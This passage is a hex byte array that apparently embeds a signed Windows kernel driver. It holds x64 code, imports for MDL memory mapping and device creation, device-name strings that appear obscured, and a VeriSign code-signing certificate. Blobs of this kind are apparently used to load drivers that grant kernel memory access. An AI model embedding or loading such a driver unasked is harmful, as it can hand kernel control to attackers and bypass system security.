0xA9, 0xBB, 0xBA, 0xBB, 0xA5, 0xBB, 0xAF, 0xBB, 0xA9, 0xBB, 0x90, 0xBB, 0xA9, 0xBB, 0xBF, 0xBB, 0xBC, 0xBB, 0xCC, 0xBB,
0x00, 0x00, 0x90, 0xBB, 0x88, 0xBB, 0xA3, 0xBB, 0xBF, 0xBB, 0x88, 0xBB, 0xA9, 0xBB, 0xBA, 0xBB, 0xA5, 0xBB, 0xAF, 0xBB,
0xA9, 0xBB, 0xBF, 0xBB, 0x90, 0xBB, 0xA9, 0xBB, 0xBF, 0xBB, 0xBC, 0xBB, 0x93, 0xBB, 0xA0, 0xBB, 0xA5, 0xBB, 0xA2, 0xBB,
0xA7, 0xBB, 0xCC, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x32, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, 0xCD, 0x5D, 0x20, 0xD2,
0x66, 0xD4, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x25, 0x10, 0x00, 0x00, 0x98, 0x23, 0x00, 0x00,
0x25, 0x10, 0x00, 0x00, 0xEE, 0x10, 0x00, 0x00, 0xA0, 0x23, 0x00, 0x00, 0xC0, 0x11, 0x00, 0x00, 0x58, 0x16, 0x00, 0x00,
0xCC, 0x23, 0x00, 0x00, 0x58, 0x16, 0x00, 0x00, 0x5C, 0x18, 0x00, 0x00, 0xCC, 0x23, 0x00, 0x00, 0x60, 0x18, 0x00, 0x00,
0x42, 0x19, 0x00, 0x00, 0xE4, 0x23, 0x00, 0x00, 0x42, 0x19, 0x00, 0x00, 0x36, 0x1A, 0x00, 0x00, 0xF4, 0x23, 0x00, 0x00,
0x36, 0x1A, 0x00, 0x00, 0x2C, 0x1B, 0x00, 0x00, 0xF4, 0x23, 0x00, 0x00, 0x60, 0x1B, 0x00, 0x00, 0x65, 0x1B, 0x00, 0x00,
0x18, 0x24, 0x00, 0x00, 0x80, 0x1B, 0x00, 0x00, 0x2A, 0x1E, 0x00, 0x00, 0x10, 0x24, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00,
0x2C, 0x50, 0x00, 0x00, 0xFC, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xDA, 0x48, 0x8B, 0xF9, 0xE8, 0x17, 0x00, 0x00,
0x00, 0x48, 0x8B, 0xD3, 0x48, 0x8B, 0xCF, 0xE8, 0x38, 0xC6, 0xFF, 0xFF, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4,
0x20, 0x5F, 0xC3, 0xCC, 0x48, 0x8B, 0x05, 0x15, 0xE0, 0xFF, 0xFF, 0x45, 0x33, 0xC9, 0x49, 0xB8, 0x32, 0xA2, 0xDF, 0x2D,
0x99, 0x2B, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x05, 0x49, 0x3B, 0xC0, 0x75, 0x38, 0x0F, 0x31, 0x48, 0xC1, 0xE2, 0x20,
0x48, 0x8D, 0x0D, 0xF1, 0xDF, 0xFF, 0xFF, 0x48, 0x0B, 0xC2, 0x48, 0x33, 0xC1, 0x48, 0x89, 0x05, 0xE4, 0xDF, 0xFF, 0xFF,
0x66, 0x44, 0x89, 0x0D, 0xE2, 0xDF, 0xFF, 0xFF, 0x48, 0x8B, 0x05, 0xD5, 0xDF, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x75, 0x0A,
0x49, 0x8B, 0xC0, 0x48, 0x89, 0x05, 0xC6, 0xDF, 0xFF, 0xFF, 0x48, 0xF7, 0xD0, 0x48, 0x89, 0x05, 0xC4, 0xDF, 0xFF, 0xFF,
0xC3, 0xCC, 0xCC, 0xCC, 0xB8, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3A, 0x52, 0x00, 0x00,
0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x28, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4E, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x51, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x9A, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAA, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xB6, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCE, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE6, 0x51, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xF8, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x22, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0x04, 0x49, 0x6F,
0x66, 0x43, 0x6F, 0x6D, 0x70, 0x6C, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x00, 0x00, 0xC6, 0x02,
0x49, 0x6F, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x4D, 0x64, 0x6C, 0x00, 0xB5, 0x05, 0x4D, 0x6D, 0x50, 0x72,
0x6F, 0x62, 0x65, 0x41, 0x6E, 0x64, 0x4C, 0x6F, 0x63, 0x6B, 0x50, 0x61, 0x67, 0x65, 0x73, 0x00, 0xA1, 0x05, 0x4D, 0x6D,
0x4D, 0x61, 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x61, 0x67, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x69, 0x66,
0x79, 0x43, 0x61, 0x63, 0x68, 0x65, 0x00, 0x00, 0xCF, 0x05, 0x4D, 0x6D, 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x4C, 0x6F, 0x63,
0x6B, 0x65, 0x64, 0x50, 0x61, 0x67, 0x65, 0x73, 0x00, 0x00, 0xCC, 0x05, 0x4D, 0x6D, 0x55, 0x6E, 0x6C, 0x6F, 0x63, 0x6B,
0x50, 0x61, 0x67, 0x65, 0x73, 0x00, 0x23, 0x03, 0x49, 0x6F, 0x46, 0x72, 0x65, 0x65, 0x4D, 0x64, 0x6C, 0x00, 0x6E, 0x0B,
0x5F, 0x5F, 0x43, 0x5F, 0x73, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x63, 0x5F, 0x68, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x72,
0x00, 0x00, 0x88, 0x08, 0x52, 0x74, 0x6C, 0x49, 0x6E, 0x69, 0x74, 0x55, 0x6E, 0x69, 0x63, 0x6F, 0x64, 0x65, 0x53, 0x74,
0x72, 0x69, 0x6E, 0x67, 0x00, 0x00, 0xF2, 0x02, 0x49, 0x6F, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x65, 0x76, 0x69,
0x63, 0x65, 0x00, 0x00, 0xFE, 0x02, 0x49, 0x6F, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6D, 0x62, 0x6F, 0x6C,
0x69, 0x63, 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, 0x0A, 0x03, 0x49, 0x6F, 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x44, 0x65,
0x76, 0x69, 0x63, 0x65, 0x00, 0x00, 0x0C, 0x03, 0x49, 0x6F, 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x53, 0x79, 0x6D, 0x62,
0x6F, 0x6C, 0x69, 0x63, 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, 0x6E, 0x74, 0x6F, 0x73, 0x6B, 0x72, 0x6E, 0x6C, 0x2E, 0x65,
0x78, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x70, 0xA0, 0x78, 0xA0, 0x38, 0xA1, 0x50, 0xA1,
0x58, 0xA1, 0x60, 0xA1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x14, 0x00, 0x00,
0x00, 0x02, 0x02, 0x00, 0x30, 0x82, 0x14, 0x14, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, 0x02, 0xA0,
0x82, 0x14, 0x05, 0x30, 0x82, 0x14, 0x01, 0x02, 0x01, 0x01, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x05, 0x2B, 0x0E, 0x03, 0x02,
0x1A, 0x05, 0x00, 0x30, 0x4C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x04, 0xA0, 0x3E, 0x30,
0x3C, 0x30, 0x17, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0F, 0x30, 0x09, 0x03, 0x01, 0x00,
0xA0, 0x04, 0xA2, 0x02, 0x80, 0x00, 0x30, 0x21, 0x30, 0x09, 0x06, 0x05, 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0x04,
0x14, 0xDE, 0x84, 0xF6, 0x47, 0x2C, 0xFE, 0xD2, 0xD7, 0x48, 0xAD, 0x32, 0x79, 0x9A, 0x02, 0x1F, 0xDF, 0xF9, 0xEC, 0x93,
0xF9, 0xA0, 0x82, 0x11, 0x38, 0x30, 0x82, 0x05, 0x88, 0x30, 0x82, 0x04, 0x70, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10,
0x0C, 0xEA, 0x5C, 0x41, 0xB4, 0xB3, 0x56, 0x60, 0xB8, 0x83, 0xBA, 0x06, 0xDE, 0xF5, 0xA0, 0x53, 0x30, 0x0D, 0x06, 0x09,
0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x81, 0xB4, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03,
0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0E, 0x56, 0x65,
0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, 0x31, 0x1F, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x04,
0x0B, 0x13, 0x16, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, 0x4E, 0x65,
0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x3B, 0x30, 0x39, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x32, 0x54, 0x65, 0x72, 0x6D,
0x73, 0x20, 0x6F, 0x66, 0x20, 0x75, 0x73, 0x65, 0x20, 0x61, 0x74, 0x20, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3A, 0x2F, 0x2F,
0x77, 0x77, 0x77, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x72, 0x70, 0x61,
0x20, 0x28, 0x63, 0x29, 0x31, 0x30, 0x31, 0x2E, 0x30, 0x2C, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x25, 0x56, 0x65, 0x72,
0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x53,
0x69, 0x67, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x32, 0x30, 0x31, 0x30, 0x20, 0x43, 0x41, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x34,
